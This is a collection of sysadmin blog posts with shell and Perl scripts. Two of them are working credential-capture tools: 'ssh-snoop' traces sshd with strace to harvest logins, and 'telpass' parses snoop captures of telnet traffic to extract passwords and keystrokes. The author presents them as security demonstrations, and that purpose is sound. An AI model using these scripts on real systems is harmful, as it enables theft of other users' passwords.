Showing posts with label ssh. Show all posts
Showing posts with label ssh. Show all posts

Wednesday, May 27, 2009

Snooping For Usernames And Passwords Over SSH Using Strace On Linux

Hey There,

Well, it's about time for me to quit working, so I can get up and make it work on time tomorrow ;) All kidding aside, nowadays, I'm just glad I have a job. This economy is miserable. But I'm still a glass half full kinda guy ;)

It's been a while since we've done any posts on "ethical hacking" (breaking the system to make it more secure), like our old post on grabbing Usernames And Passwords Over Telnet Using TcpDump On Linux, but today, I got a little bug in me and decided to see what could be done about SSH.

Well, SSH is pretty secure - as advertised ;) However, I found that, if you have the root privilege to snoop an interface for username and password traffic, you can just as easily trace SSH processes using strace; getting much the same results. The only real limitation is that you can't grab information that's floating by and/or through your machine; only traffic directly connecting to it. But, if you're setting up a honeypot, the bees should be coming to you, anyway ;)

You can run this shell script (which I'll admit is a little sketchy - written under duress ;) fairly simply, like so:

host # ./ssh-snoop

The picture below shows the minimal interactivity at startup (just to confirm that you get the base SSH process - since the strace call will run down all the forked processes from the root). In the case shown below the username is "user123" and the password is "easyPass" You'll have to sift through a few lines of garbage, but it's better then combing the full strace output:

Click the Picture Below To Biggie-Size Your Passwords ;)

Thank God you're not this poor bastard

Hope you enjoy this and that it helps you convince at least one other person that a real need for security actually still exists :)

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/bash

#
# ssh-snoop - not really snooping or tcp-dumping, but close enough :)
#
# 2009 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

ssh_root_proc=`ps -ef|grep "[s]shd"|awk '{ if ( $3 == "1" ) print $2}'`

echo "SSH root proc has been discovered as PID $ssh_root_proc"
echo "Please check ps output below to determine if this is correct"
echo
ps -ef|grep "[s]shd"
echo
echo "enter y or Y if correct or correct PID number. Ctl-C to exit"
read ssh_pid
if [ "$ssh_pid" = "y" -o "$ssh_pid" = "Y" ]
then
ssh_pid=$ssh_root_proc
elif [ -z "$ssh_pid" ]
then
echo "No valid confirmation or PID entered. Exiting..."
exit 1
fi

echo "Building user login grep pattern from /etc/passwd"
user_grep=`awk -F":" '{ if ( $3 > 100 ) print $1}' /etc/passwd |xargs -ivar echo -n "var|"|sed 's/$/password/'`

echo "Setting SSH root proc to $ssh_pid"
echo
echo "Dumping Output - Ctl-C to quit and examine"
passcount=9
passpossible=0
strace -f -etrace=write -s 64 -p $ssh_pid 2>&1|while read SSH
do
pass_test=`echo $SSH|grep -i password` >/dev/null 2>&1
if [ $? -eq 0 ]
then
xline=`echo $SSH 2>&1|grep write`
echo "POSSIBLE PASSWORD: $xline"
passpossible=1
elif [ $passpossible -eq 1 -a $passcount -lt 9 ]
then
xline=`echo $SSH 2>&1|grep write`
echo "POSSIBLE PASSWORD: $xline"
let passcount=$passcount+1
passpossible=1
else
xline=`echo $SSH 2>&1|grep write|egrep $user_grep`
if [ ! -z "$xline" ]
then
echo "POSSIBLE USERNAME: $xline"
fi
passcount=0
passpossible=0
fi
done


, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Wednesday, June 25, 2008

Simple Perl Script To Ease Console Server Use On Linux And Unix

Howdy,

Well, it's been a good long time (almost a week) since I've posted anything but numbered lists of, hopefully, useful information. It's about time for a little scripting. So, just to maintain my sanity (if not your own - assuming you follow this blog a bit, for which I thank you), today I'm putting up a little Perl script I wrote to maintain connections to a simple Cyclades console server. It can be re-worked fairly easily to connect to multiple console servers of any kind.

Technically, this script could be used for any server which accepts connections over telnet (Which this script is set up to use, even though I'm pretty sure I fought the good fight arguing against it). For more information on why it's a bad idea to use telnet for anything you don't have to, check out our old posts on using tcpdump on Linux or snoop on Solaris to easily grab user passwords. It should also be noted that I wrote this for a non-primary employer (contract). The IRS can rest assured that they'll get their cut of my money at the end of the quarter, but I can't, of course, reveal the identity of the client at this point in time (and, for ethical reasons, I won't later, either, since, given the setup, it would be like setting up a turkey-shoot ;)

The script can be run simply, like most of the scripts we put out here, from the command line. It only requires that you supply a hostname and will spit out help information if you just run it with no arguments, like so:

host # ./dconsole.pl
Usage: ./dconsole.pl [-h|-l|hostname]


This Perl script is fairly limited for a reason, but it's very easy to expand upon and only requires minor adjustment to set it up to use SSH. Since, of course, SSH would require some sort of key-or-host-based authentication method set up before this script would work, be sure to do that before you just run this out-of-the-box. Believe it or not, we've got a post on distributing and setting up SSH keys network-wide on this site, as well ;)

Sometimes I feel like I'm beginning to write in a mobius strip ;)

Anyway, enjoy, and best wishes,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/usr/bin/perl

#
# dconsole.pl - Connect to your console server or modify to connect to a whole bunch!
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

if ( $#ARGV == -1 || $#ARGV > 0 ) {
print "Usage: $0 [-h|-l|hostname]\n";
exit(1);
}

# This is a simple array to list out all hosts connected to the console server

@hosts = qw(host1 host2 host3);

if ( $ARGV[0] =~ /^-h$/ ) {
print "\n";
print "dconsole.pl - Mike Golvach - eggi\@comcast.net\n";
print "\n";
print "-h : This piddly screen.\n";
print "-l : List hosts available.\n";
print "hostname : host to connect to.\n";
print "\n";
exit;
} elsif ( $ARGV[0] =~ /^-l$/ ) {
print "\n";
print "@hosts";
print "\n";
exit;
}

$goodtogo = 0;
for $hostname (@hosts) {
if ( $ARGV[0] eq $hostname ) {
$goodtogo = 1;
}
}

if ( ! $goodtogo ) {
print "\n";
print "$ARGV[0]? Never heard of it.\n";
print "\n";
exit(1);
}

# This is a simple hash to associate connected hosts to their ports on the console server

%whatitis = qw(host1 2 host2 3 host3 4);

$conport = $whatitis{$ARGV[0]};
print "\n";
print "Opening $ARGV[0]...\n";
print "\n";
system("/usr/bin/telnet THECONSOLESERVER $conport");
exit;


, Mike

Sunday, June 8, 2008

Distributing New SSH Keys Using Rsh On Linux And Unix

Happy Lazy Sunday,

Today we're going to grind through our "Lazy Sunday" post with a quick script to update SSH keys network-wide, by using rsh (the less secure of the two protocols). Once you've accomplished this (or have already accomplished this) and are happy with your network's SSH setup, I'd suggest disabling rsh altogether. Then you can move on to quickly setting up your SSH keys all over the network, focus on maintaining the integrity of your sessions, if you have issues with that, and even setting simple SCP routines to help keep your network easy to manage.

My feeling is that, no matter what the circumstances (unless they make it so you "have" to use it), rsh should always be disabled, no matter what version of Linux or Unix you're running. Certain software (like SunCluster) can experience very strange issues if you don't allow it. At least, up to version 3.1. I can only afford to keep myself in the almost-very-best, after all ;)

Enjoy your Sunday, and enjoy this little script :) A lot of how you use it depends on the way your network is set up. If it's already secure, you can modify it slightly to use to update host keys, but it was mostly written for folks with a hybrid rsh/SSH setup, who want to move to full SSH implementation, so that keys can be upgraded everywhere at once from the same base set.

The only major assumptions this script makes is that you've built openssl, openssh and zlib from source, want to install in /usr/local and are running this script from the top level directory of those builds. It should be run with a list of servers following the command name:

host # ./sshdist.sh servera serverb serverc...

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/sh

#
# sshdist.sh - distribute a newly built openssl, openssh and zlib and set up keys
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

cd /usr/local
for x in $@
do
echo seeding $x...
echo " openssh... \c"
tar cpf - openssh*|rsh $x "cd /usr/local;tar xpf -"
echo "openssl... \c"
tar cpf - openssl*|rsh $x "cd /usr/local;tar xpf -"
echo "zlib... \c"
tar cpf - zlib|rsh $x "cd /usr/local;tar xpf -"
echo done!
done

echo
echo "Consistency Check..."
for x in $@
do
echo "${x}: \c"
rsh $x "cd /usr/local;du -sk openssl* openssh* zlib*|xargs echo"
done

echo
echo "Generating Host Keys..."
for x in $@
do
echo "${x}...\c"
echo "removing old host and dsa keys..."
rsh $x "rm /usr/local/openssh/ssh/ssh_host*key*"
echo "generating new host key..."
rsh $x "/usr/local/openssh/bin/ssh-keygen -b 1024 -f /usr/local/openssh/ssh/ssh_host_key -N ''"
echo "generating new dsa key..."
rsh $x "/usr/local/openssh/bin/ssh-keygen -d -f /usr/local/openssh/ssh/ssh_host_dsa_key -N ''"
echo "Done!"
done

echo
echo "Changing the active SSH installation..."

for x in $@
do
echo "$x... \c"
rsh $x "cd /usr/local;ls -d ssh* >>encap.exclude"
echo "Excluding old ssh from reinstallation and deleting all links..."
rsh $x "cd /usr/local/ssh-1.2.2*/bin;ls|xargs -I {} -t rm /usr/local/bin/{}"
rsh $x "cd /usr/local/ssh-1.2.2*/man/man1;ls|xargs -I {} -t rm /usr/local/man/man1/{}"
rsh $x "cd /usr/local/ssh-1.2.2*/man/man8;ls|xargs -I {} -t rm /usr/local/man/man8/{}"
rsh $x "cd /usr/local/ssh-1.2.2*/sbin;ls|xargs -I {} -t rm /usr/local/sbin/{}"
echo "Stopping old SSH daemon... \c"
rsh $x "ps -ef|grep sshd|grep -v grep|awk '{print \$2}'|xargs kill"
echo "Relinking... \c"
rsh $x "/usr/local/bin.pl /usr/local /usr/local"
echo "Starting new SSH daemon... \c"
rsh $x "/usr/local/sbin/sshd"
echo Done!
done

echo
echo "Sanity Check..."

for x in localhost $@
do
echo "$x : \c"
rsh $x "ps -ef|grep sshd|grep -v grep"
done

, Mike

Tuesday, April 15, 2008

Capturing Logins And Passwords With Solaris Snoop

Hey There,

Today, we're going to take a look at parsing the output from "snoop" (specifically tested on Solaris Unix 9 and 10, but almost definitely backward compatible to Solaris 8) and printing out logins, passwords and simple session information. We'll try to keep the explanation short today, since the examples are long ;)

As a quick note, since we've received more than a few emails on the subject (requesting illegal services we don't provide): Although today's post, and the attached script, will show you how to do something that (under the correct circumstances) could be illegal, unethical or both, we're only presenting it as a tool to help promote security; much like we've done before in posts regarding encrypted passwords, password cracking and so forth. It is not our intention to encourage malicious behaviour; only to bring focus on security-related issues that have been around for a long time and (for some reason) are still treated as minor nuisances.

Hopefully the bash shell script attached at the bottom will be helpful to a few sys admins out there. If you work on a network that allows users to Telnet (or use rsh or any other form of unencrypted network protocol), you may have been on the losing end of an argument about how the stealing of passwords transmitted in cleartext "never really happens."

For those of you afflicted by the aforementioned condition: Good news! You can make it happen (and do it ethically) today. With any luck, the output our script provides from a simple snoop on the Telnet port will make an impression for the positive and convince those users who (for some reason) don't want to use SSH, to finally make the switch :) Note that in order to run the "snoop" command you must be either root, or have gained elevated privileges through some other manner.

Following is the demonstration of a few simple sessions, and the output you can expect to see from the script. You may see quite a bit more since we had to do this in a limited environment and eventually got sick of logging in and out of the server we were snooping on ;) Since some of these examples are extensive, even though we weeded out tons of output, we've included anchor links so you can hop past any particular step rather than having to scroll down through the example output.

1. On the server accepting Telnet connections, we started up this command to capture all output to a snoop binary file (named "output_file") and only listen to port 23 (Telnet):
Skip to Step 2

host # snoop -o output_file port 23
Using device /dev/qfe (promiscuous mode)
616 ^C
<--- That was the entirety of our snooping process, which is scary in itself.

2. During the time snoop was running on that server, we logged into it multiple times, did a few things, typed our password wrong, logged in again, etc, as seen below (we've clipped a lot of boring warning messages and replaced useless output from our sessions with ellipses (...) - As usual, host names, logins, IP addresses and passwords have been changed to protect the somewhat innocent ;)
Skip to Step 3

host_1 # telnet host
Trying 99.99.99.99...
Connected to host
Escape character is '^]'.
...
SunOS 5.9
...
login: user51
Password:
...
host # ls
file1 file2 file3 file4
file5 file6 file7 file8
host # cd /usr/local
host # pwd
/usr/local
host # exit
logout
...

host_1# telnet host
Trying 99.99.99.99...
Connected to host
Escape character is '^]'.
...
SunOS 5.9
...
login: user51
Password:
...
host # cat .profile
set -o vi
...
host # exit
logout
...
host_1 # telnet host
Trying 99.99.99.99...
Connected to host
Escape character is '^]'.
...
SunOS 5.9
...
login: user51
Password:
Login incorrect
login: user51
Password:
host # ls
file1 file2 file3 file4
file5 file6 file7 file8
host # w
2:03pm up 17 day(s), 2 users, load average: 0.39, 0.18, 0.12
User tty login@ idle JCPU PCPU what
...
host # whodo
Mon Apr 14 20:30 CDT 2008
...
host # exit
logout
...
host_1 # telnet host
Trying 99.99.99.99...
Connected to host
Escape character is '^]'.
...
SunOS 5.9
...
login: user51
Password:
host # id
uid=55787(user51) gid=666(forx)
host # exit
logout


3. Then we read the binary snoop file into an ascii text file using snoop's default settings, ran our script (which we named "telpass" to continue our tradition of blatant unoriginality), and watched the logins and passwords come on out:
Skip to Step 4

host # snoop -i output_file >ascii_net_out 2>&1
host # ./telpass ascii_net_out

Possible session info to follow:
........
Possible login ID to follow:
user51
Possible password to follow:
User51ab

Possible session info to follow:
....ls...c.d../u.sr./l.oca.l...pw.d...ex.it...........
Possible login ID to follow:
user51
Possible password to follow:
User51ab

Possible session info to follow:
...c.at....pr.of.il.e...ex.it...........
Possible login ID to follow:
user51
Possible password to follow:
sm@ckM3
Possible login ID to follow:
user51
Possible password to follow:
User51ab

Possible session info to follow:
....ls...w...wh.od.o...ex.it...........
Possible login ID to follow:
user51
Possible password to follow:
User51ab

Possible session info to follow:
...i.d...exi.t...


4. And, finally we ran snoop with medium-extra verbosity, and pumped that into an ascii text file, as well. This provides a little more information on the user's command line usage, but may just be a waste of time since you don't really get anything extra for your effort:
Skip to the summary

host # snoop -V -i output_file >binger
host # ./telpass binger

Possible session info to follow:
........................................
Possible login ID to follow:
user51
Possible password to follow:
User51ab

Possible session info to follow:
......................l....s...................c.........d............../....u.........s....r........./....l.........o....c....a.........l...................p....w.........d...................e....x.........i....t...........................................................
Possible login ID to follow:
user51
Possible password to follow:
User51ab

Possible session info to follow:
...................c.........a....t........................p....r.........o....f.........i....l.........e...................e....x.........i....t...........................................................
Possible login ID to follow:
user51
Possible password to follow:
sm@ckM3
Possible login ID to follow:
user51
Possible password to follow:
User51ab

Possible session info to follow:
......................l....s...................w...................w....h.........o....d.........o...................e....x.........i....t...........................................................
Possible login ID to follow:
user51
Possible password to follow:
User51ab

Possible session info to follow:
...................i.........d...................e....x....i.........t.................


Summary: And that's about that :) You notice that at one point, we accidentally entered a bad password, but if you're getting this kind of information, you can't complain ;) The script should be fairly simple to decipher. Note that we do skip alternate packets while reading the login entry (because of the double output from interactive echo which doesn't happen with the "invisible" password). We also skipped alternate packets during the sessions ( for the same reason) and padded empty packets (while we were supposedly thinking of what to do next - or where the next typewriter key was ;) with periods (.) In any event, if you're familiar with Unix or Linux, you can see the commands, directories, etc, from between the dots.

Hope this script helps to keep your work (and maybe even home) network more secure. There's nothing like showing someone their password to convince them that it "does really happen."

Please use responsibly, and best wishes :)


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/bash

#
# telpass - extract password and session information from ascii "snoop" output
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

if [ $# -ne 1 ]
then
echo "Usage: $0 snoop_file"
exit 1
fi

snoop_file=$1

if [ ! -f $snoop_file ]
then
echo "Snoop Output $file does not exist. Exiting!"
exit 1
fi

login_or_pwd=0
interactive_echo=0
sess_info=0

while read line
do
echo $line| grep "Last" >/dev/null 2>&1
ll_yes_or_no=$?
if [ $ll_yes_or_no -eq 0 ]
then
echo
login_or_pwd=0
continue
fi
echo $line| grep "login: *$" >/dev/null 2>&1
l_yes_or_no=$?
if [ $l_yes_or_no -eq 0 ]
then
echo
echo "Possible login ID to follow: "
login_or_pwd=1
sess_info=0
continue
fi
echo $line| grep "Password:" >/dev/null 2>&1
p_yes_or_no=$?
if [ $p_yes_or_no -eq 0 ]
then
echo
echo "Possible password to follow: "
login_or_pwd=2
sess_info=0
continue
fi
if [ $login_or_pwd -eq 1 ]
then
if [ $interactive_echo -eq 1 ]
then
interactive_echo=0
continue
else
echo $line|awk -F" " '{ if ( length($NF) == 1 ) print $NF}'|xargs -ivar echo "var\c"
interactive_echo=1
continue
fi
fi
if [ $login_or_pwd -eq 2 ]
then
echo $line|awk -F" " '{ if ( length($NF) == 1 ) print $NF}'|xargs -ivar echo "var\c"
continue
fi
if [ $login_or_pwd -eq 0 -a $sess_info -eq 0 ]
then
echo
echo "Possible session info to follow:"
sess_info=1
fi
if [ $sess_info -eq 1 ]
then
if [ $interactive_echo -eq 1 ]
then
interactive_echo=0
continue
else
echo $line|awk -F" " '{ if ( length($NF) == 1 ) print $NF;else print "."}'|xargs -ivar echo "var\c"
interactive_echo=1
continue
fi
fi
done <$snoop_file
echo
exit 0


, Mike




Wednesday, March 26, 2008

Using Color In The Linux Or Unix Shell

ECMA-compliant Color Chart Via The Shell

Click the image above to see all the pretty colors bigger ;)

Hey There,

Today's we're going to go off on a tangent and take a look at color and the Linux and/or Unix console. I first noticed the use of color in the shell while using Linux a long long time ago, and it seemed really cool back then. Every now and again it bugs me, but I must admit that it does come in handy for a lot of things; editing code or simple file type identification are two great examples.

The script attached to this post was written mostly to illustrate the concept that you can see in the picture attached to this text. More to the point, I wrote it so that we could see the colors I'm writing about :) Admittedly, I used every possible combination of color and modification for completeness, which has the nasty side effect of making some of the output invisible (You can't see the black foreground on the black background unless reverse video or bolding are turned on), but that's the nature of the beast. You probably won't ever need or want to print black on black, unless you're writing a menuing system for someone you can't stand ;)

One thing to note is that the colors and modifications in this script are limited to the ECMA-compliant codes. Linux and the Bash shell, for example, have a lot more color options, but I wanted to keep this post as fairly balanced as possible. These codes should work on almost any Unix or Linux console and most SSH or Telnet shell clients today probably support them as well. Still, not everything will work everywhere. For instance, the blinking text code does not work on my PuTTY terminal, although it does work on my SecureCRT. Since I'm not paying for the color, I guess I can't complain ;)

Getting these colors to show on your terminal is actually fairly simple. First, you just need to know what all the codes stand for. Below is a quick listing. The 30's are foregrounds, the 40's are backgrounds and the remaining set are modifications (any and all of which can be combined, if you so choose):

# 30 black foreground
# 31 red foreground
# 32 green foreground
# 33 brown foreground
# 34 blue foreground
# 35 purple foreground
# 36 light blue foreground
# 37 gray foreground
#
# 40 black background
# 41 red background
# 42 green background
# 43 brown background
# 44 blue background
# 45 purple background
# 46 light blue background
# 47 white background
#
# 1 turn on bolding
# 22 turn off bolding
# 5 turn on blinking
# 25 turn off blinking
# 7 turn on reverse video
# 27 turn off reverse video
# 0 reset everything to default


Now, if you wanted to print a color to your screen, all you need to do is use the echo command (Note that -e tells echo to interpret the backslashed characters, so "\033[30m" doesn't show up literally). For instance, to print "HI" in red font, you could type:

host # echo -e "\033[31mHI"

The "m" character following the number code 31 (Indicating that you want to print in red) completes the instantiation of the color. Without it, your text would remain whatever color it already was. The incorrect echo statement may also have other bizarre side effects, like repositioning your cursor or resetting your terminal. The final "m" is very important :)

You can also combine different colors, as well as modifications, by using the semicolon. Below, the first line writes "HI" in light blue on a green background (Uggh) and the second does the same in BOLD :)

host # echo -e "\033[36;42mHI"
host # echo -e "\033[36;42;1mHI"


One thing to note is that all of these commands would leave your terminal stuck in whatever state you instructed on the command line. That is, if you used the color commands to type with a green background, your terminal's background would remain green after you typed the line. In order to return everything to normal, you can use the modification number "0" - This will reset your terminal to the default color settings. If you only want to print one line in red font, the line shown below would work better for you than the original (the first example, above)

host # echo -e "\033[31mHI\033[0m"

Note, also, that (for the color code commands) there can't be any spaces. "\033[31m" has to be one unit. The text you put in between this command and the closing "\033[0m" (should you elect to go back to the way things were ;) can have spaces anywhere, just like any other block of text.

Hope you have some fun with shell colors. Enjoy the script. If nothing else, it should serve as a good reminder of the syntax and a good indicator of the breadth of options ECMA compliant colors give you. Linux, as I mentioned, has even more variety, but using those specific codes can make your scripts less portable. Good or bad? You decide ;)

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/bash

# colors.sh - Print out all the different ECMA color-mod combos
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

declare -a color_array
declare -a alphabet_soup

color_array=( '30;40;1' '30;40;5' '30;40;7' '30;40;22' '30;40;25' '30;40;27' '30;40' '30;41;1' '30;41;5' '30;41;7' '30;41;22' '30;41;25' '30;41;27' '30;41' '30;42;1' '30;42;5' '30;42;7' '30;42;22' '30;42;25' '30;42;27' '30;42' '30;43;1' '30;43;5' '30;43;7' '30;43;22' '30;43;25' '30;43;27' '30;43' '30;44;1' '30;44;5' '30;44;7' '30;44;22' '30;44;25' '30;44;27' '30;44' '30;45;1' '30;45;5' '30;45;7' '30;45;22' '30;45;25' '30;45;27' '30;45' '30;46;1' '30;46;5' '30;46;7' '30;46;22' '30;46;25' '30;46;27' '30;46' '30;47;1' '30;47;5' '30;47;7' '30;47;22' '30;47;25' '30;47;27' '30;47' '30;1' '30;5' '30;7' '30;22' '30;25' '30;27' '30' '31;40;1' '31;40;5' '31;40;7' '31;40;22' '31;40;25' '31;40;27' '31;40' '31;41;1' '31;41;5' '31;41;7' '31;41;22' '31;41;25' '31;41;27' '31;41' '31;42;1' '31;42;5' '31;42;7' '31;42;22' '31;42;25' '31;42;27' '31;42' '31;43;1' '31;43;5' '31;43;7' '31;43;22' '31;43;25' '31;43;27' '31;43' '31;44;1' '31;44;5' '31;44;7' '31;44;22' '31;44;25' '31;44;27' '31;44' '31;45;1' '31;45;5' '31;45;7' '31;45;22' '31;45;25' '31;45;27' '31;45' '31;46;1' '31;46;5' '31;46;7' '31;46;22' '31;46;25' '31;46;27' '31;46' '31;47;1' '31;47;5' '31;47;7' '31;47;22' '31;47;25' '31;47;27' '31;47' '31;1' '31;5' '31;7' '31;22' '31;25' '31;27' '31' '32;40;1' '32;40;5' '32;40;7' '32;40;22' '32;40;25' '32;40;27' '32;40' '32;41;1' '32;41;5' '32;41;7' '32;41;22' '32;41;25' '32;41;27' '32;41' '32;42;1' '32;42;5' '32;42;7' '32;42;22' '32;42;25' '32;42;27' '32;42' '32;43;1' '32;43;5' '32;43;7' '32;43;22' '32;43;25' '32;43;27' '32;43' '32;44;1' '32;44;5' '32;44;7' '32;44;22' '32;44;25' '32;44;27' '32;44' '32;45;1' '32;45;5' '32;45;7' '32;45;22' '32;45;25' '32;45;27' '32;45' '32;46;1' '32;46;5' '32;46;7' '32;46;22' '32;46;25' '32;46;27' '32;46' '32;47;1' '32;47;5' '32;47;7' '32;47;22' '32;47;25' '32;47;27' '32;47' '32;1' '32;5' '32;7' '32;22' '32;25' '32;27' '32' '33;40;1' '33;40;5' '33;40;7' '33;40;22' '33;40;25' '33;40;27' '33;40' '33;41;1' '33;41;5' '33;41;7' '33;41;22' '33;41;25' '33;41;27' '33;41' '33;42;1' '33;42;5' '33;42;7' '33;42;22' '33;42;25' '33;42;27' '33;42' '33;43;1' '33;43;5' '33;43;7' '33;43;22' '33;43;25' '33;43;27' '33;43' '33;44;1' '33;44;5' '33;44;7' '33;44;22' '33;44;25' '33;44;27' '33;44' '33;45;1' '33;45;5' '33;45;7' '33;45;22' '33;45;25' '33;45;27' '33;45' '33;46;1' '33;46;5' '33;46;7' '33;46;22' '33;46;25' '33;46;27' '33;46' '33;47;1' '33;47;5' '33;47;7' '33;47;22' '33;47;25' '33;47;27' '33;47' '33;1' '33;5' '33;7' '33;22' '33;25' '33;27' '33' '34;40;1' '34;40;5' '34;40;7' '34;40;22' '34;40;25' '34;40;27' '34;40' '34;41;1' '34;41;5' '34;41;7' '34;41;22' '34;41;25' '34;41;27' '34;41' '34;42;1' '34;42;5' '34;42;7' '34;42;22' '34;42;25' '34;42;27' '34;42' '34;43;1' '34;43;5' '34;43;7' '34;43;22' '34;43;25' '34;43;27' '34;43' '34;44;1' '34;44;5' '34;44;7' '34;44;22' '34;44;25' '34;44;27' '34;44' '34;45;1' '34;45;5' '34;45;7' '34;45;22' '34;45;25' '34;45;27' '34;45' '34;46;1' '34;46;5' '34;46;7' '34;46;22' '34;46;25' '34;46;27' '34;46' '34;47;1' '34;47;5' '34;47;7' '34;47;22' '34;47;25' '34;47;27' '34;47' '34;1' '34;5' '34;7' '34;22' '34;25' '34;27' '34' '35;40;1' '35;40;5' '35;40;7' '35;40;22' '35;40;25' '35;40;27' '35;40' '35;41;1' '35;41;5' '35;41;7' '35;41;22' '35;41;25' '35;41;27' '35;41' '35;42;1' '35;42;5' '35;42;7' '35;42;22' '35;42;25' '35;42;27' '35;42' '35;43;1' '35;43;5' '35;43;7' '35;43;22' '35;43;25' '35;43;27' '35;43' '35;44;1' '35;44;5' '35;44;7' '35;44;22' '35;44;25' '35;44;27' '35;44' '35;45;1' '35;45;5' '35;45;7' '35;45;22' '35;45;25' '35;45;27' '35;45' '35;46;1' '35;46;5' '35;46;7' '35;46;22' '35;46;25' '35;46;27' '35;46' '35;47;1' '35;47;5' '35;47;7' '35;47;22' '35;47;25' '35;47;27' '35;47' '35;1' '35;5' '35;7' '35;22' '35;25' '35;27' '35' '36;40;1' '36;40;5' '36;40;7' '36;40;22' '36;40;25' '36;40;27' '36;40' '36;41;1' '36;41;5' '36;41;7' '36;41;22' '36;41;25' '36;41;27' '36;41' '36;42;1' '36;42;5' '36;42;7' '36;42;22' '36;42;25' '36;42;27' '36;42' '36;43;1' '36;43;5' '36;43;7' '36;43;22' '36;43;25' '36;43;27' '36;43' '36;44;1' '36;44;5' '36;44;7' '36;44;22' '36;44;25' '36;44;27' '36;44' '36;45;1' '36;45;5' '36;45;7' '36;45;22' '36;45;25' '36;45;27' '36;45' '36;46;1' '36;46;5' '36;46;7' '36;46;22' '36;46;25' '36;46;27' '36;46' '36;47;1' '36;47;5' '36;47;7' '36;47;22' '36;47;25' '36;47;27' '36;47' '36;1' '36;5' '36;7' '36;22' '36;25' '36;27' '36' '37;40;1' '37;40;5' '37;40;7' '37;40;22' '37;40;25' '37;40;27' '37;40' '37;41;1' '37;41;5' '37;41;7' '37;41;22' '37;41;25' '37;41;27' '37;41' '37;42;1' '37;42;5' '37;42;7' '37;42;22' '37;42;25' '37;42;27' '37;42' '37;43;1' '37;43;5' '37;43;7' '37;43;22' '37;43;25' '37;43;27' '37;43' '37;44;1' '37;44;5' '37;44;7' '37;44;22' '37;44;25' '37;44;27' '37;44' '37;45;1' '37;45;5' '37;45;7' '37;45;22' '37;45;25' '37;45;27' '37;45' '37;46;1' '37;46;5' '37;46;7' '37;46;22' '37;46;25' '37;46;27' '37;46' '37;47;1' '37;47;5' '37;47;7' '37;47;22' '37;47;25' '37;47;27' '37;47' '37;1' '37;5' '37;7' '37;22' '37;25' '37;27' '37' '40;1' '40;5' '40;7' '40;22' '40;25' '40;27' '40' '41;1' '41;5' '41;7' '41;22' '41;25' '41;27' '41' '42;1' '42;5' '42;7' '42;22' '42;25' '42;27' '42' '43;1' '43;5' '43;7' '43;22' '43;25' '43;27' '43' '44;1' '44;5' '44;7' '44;22' '44;25' '44;27' '44' '45;1' '45;5' '45;7' '45;22' '45;25' '45;27' '45' '46;1' '46;5' '46;7' '46;22' '46;25' '46;27' '46' '47;1' '47;5' '47;7' '47;22' '47;25' '47;27' '47' '1' '5' '7' '22' '25' '27' )

alphabet_soup=( ABC DEF GHI JKL MNO PQR STU VWX YYZ )

color_array_count=${#color_array[@]}
alphabet_soup_count=${#alphabet_soup[@]}

echo "Number of color code combinations in array = $color_array_count"

alpha_count=0
for ((x=0; x<$color_array_count; x++))
do
if [ $alpha_count -gt 9 ]
then
alpha_count=0
fi
echo -ne "\033[${color_array[${x}]}m${alphabet_soup[${alpha_count}]}\033[0m"
((alpha_count++))
done
echo


, Mike




Friday, February 22, 2008

Simple SCP Utility For Network Wide File Distribution

Hey again,

This little shell script is a somewhat follow-up to an older post we did on creating an SSH command line runner. It's basically the same concept, except this time we're looking specifically at copying files all over the network, using SCP, rather than executing commands all over the network using SSH (One might argue that, under the covers, they're the same thing. But one might also argue that each has an advantage over the other, depending on what it's being used for and there's no argument that neither takes the exact same command line options :)

One other thing to note, before you begin using this script, is that it assumes that you have passwordless key-based SSH authentication set up on all the hosts you're going to be copying to. If you haven't got that set up already, check out our post on setting up your SSH keys network wide quickly and easily.

This script is fairly simple to run and should work on most flavors of Linux and Unix. If any modification is necessary it should be minor, and center around the line where we actually invoke SCP. It takes two arguments (where we're copying from and where we're copying to) and can be run simply, from the command line, like so:

host # ./scopy /users/bob/file /users/bob/file

Of course, you may note that the above example is incredibly specific. You don't need to include the directory if you don't want to (I just usually do so to be sure things end up where they're supposed to). You could easily do this, as well (assuming that your home directory isn't in the same location on every box on your network):

host # ./scopy /users/bob/file ~/bob/file

or any number of variations. Have fun with it :) The only thing it looks for outside of itself, is a host file, which I've cleverly named "hostfile" ;) This is completely arbitrary and can be changed, as well. The format I've chosen is "name : IP Address," like this:

host1 : 192.168.0.10

with one entry per line. Again, with some simple modification, this can be changed easily to suit your taste.

Hope you enjoy it and it helps you out some :)

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/ksh

#
# scopy - scp files from one location to
# all of your network hosts
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

trap 'rm tmpfile.$pid;echo "Caught Signal. Cleaning Up And Quitting...";exit 3"' 1 2 3 9 15

pid=$$

if [ $# -ne 2 ]
then
echo "Usage: $0 fromDirFile ToDirFile"
exit 1
fi

if [ -f hostfile ]
then
hostfile="hostfile"
elif [ -f /users/bob/data/hostfile ]
then
hostfile="/users/bob/data/hostfile"
else
echo "Can't find hostfile. No hosts to copy to. Out..."
exit 2
fi

from=$1
to=$2
squashed_command=`echo $1 $2|/bin/sed -e 's/ * *//g' -e 's/|//' -e 's/\///g'`

print "" >>tmpfile.$pid
print "Report Output for \"scp $1 $2\"" >>tmpfile.$pid
